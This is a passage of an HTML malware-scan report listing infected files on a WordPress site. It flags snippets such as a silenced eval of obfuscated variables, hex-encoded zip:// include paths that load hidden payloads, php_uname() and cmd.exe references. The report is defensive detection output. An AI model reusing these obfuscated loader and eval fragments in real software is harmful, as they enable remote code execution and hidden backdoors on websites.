</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1732</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_197").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/5aYbd8mH9LE.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 166.77 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 22:05:15</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 22:05:15</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_198" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4341</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1732</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_198").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/xArNgesC91T.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 166.77 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:32:17</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:32:17</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_199" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4341</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1732</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_199").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/txets.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.13 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-03-04 11:32:47</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-03-04 11:32:47</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_200" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$eNBGx4OxLF</span><span style="color: #007700">[</span><span style="color: #0000BB">50</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit silenced_eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">@eval(</span><span style="color: #0000BB">$zyHNvy4MxX</span><span style="color: #007700">[</span><span style="color: #0000BB">3 </span><span style="color: #007700">+ </span><span style="color: #0000BB">1</span><span style="color: #007700">](</span><span style="color: #0000BB">$oLuD0kflSf</span><span style="color: #007700">)</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_200").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/uploads/2021/04/04/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 377.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:43</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:43</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 3</span><br><table id="file_201" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$FMEN</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit silence_inclusion <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>LFI (Local File Inclusion), through a silent inclusion, allow remote attackers to inject and execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">@require_once </span><span style="color: #DD0000">"\x7a\x69\x70\x3a\x2f\x2f\x6a\x70\x67\x5f\x36\x39\x37\x38\x37\x31\x39\x62\x30\x33\x33\x33\x31\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x37\x38\x37\x31\x39\x62\x30\x33\x33\x33\x31\x2e\x74\x6d\x70"</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 5aabe84e <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 5aabe84e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">require_once </span><span style="color: #DD0000">"zip:</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_201").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/uploads/2021/04/04/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 428.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:43</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:43</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_202" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$FMEN</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_202").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/uploads/ithemes-security/ithemes-security/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 370.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:42</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:42</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 3</span><br><table id="file_203" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$Tgs</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit silence_inclusion <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>LFI (Local File Inclusion), through a silent inclusion, allow remote attackers to inject and execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">@require </span><span style="color: #DD0000">"\x7a\x69\x70\x3a\x2f\x2f\x6d\x33\x75\x5f\x36\x39\x37\x38\x37\x31\x39\x61\x38\x34\x36\x30\x30\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x37\x38\x37\x31\x39\x61\x38\x34\x36\x30\x30\x2e\x74\x6d\x70"</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 5aabe84e <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 5aabe84e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">require </span><span style="color: #DD0000">"zip:</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_203").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/uploads/ithemes-security/ithemes-security/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 418.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:42</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:42</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_204" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$Tgs</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_204").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/JjsFlxbpHR4.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 166.77 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:31:29</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:31:29</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_205" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4341</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1732</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_205").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/roTcb2nhdtU.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 166.77 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:21:49</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:21:49</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_206" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4341</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1732</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_206").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/5N9XuoLpAvh.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 166.77 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:51:10</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:51:10</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_207" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4341</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1732</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_207").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/fyrkg/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 26.19 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-31 20:37:52</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-31 20:37:52</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_208" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 446</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_208").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/gbdud/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 26.19 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-30 09:59:37</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-30 09:59:37</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_209" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 446</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_209").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/contact-1769473375/misc/archives_1769473375.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.04 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:23:17</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:23:17</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_210" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 109</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 56</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 7</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_210").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/contact-1769473375/sldebar.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.03 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:23:17</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:23:17</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_211" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 108</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 55</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_211").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/eiaxb/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 26.19 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-31 20:37:34</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-31 20:37:34</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_212" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 446</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_212").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/analytics-1769473357/sldebar.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.03 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:22:59</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:22:59</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_213" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 108</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 55</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
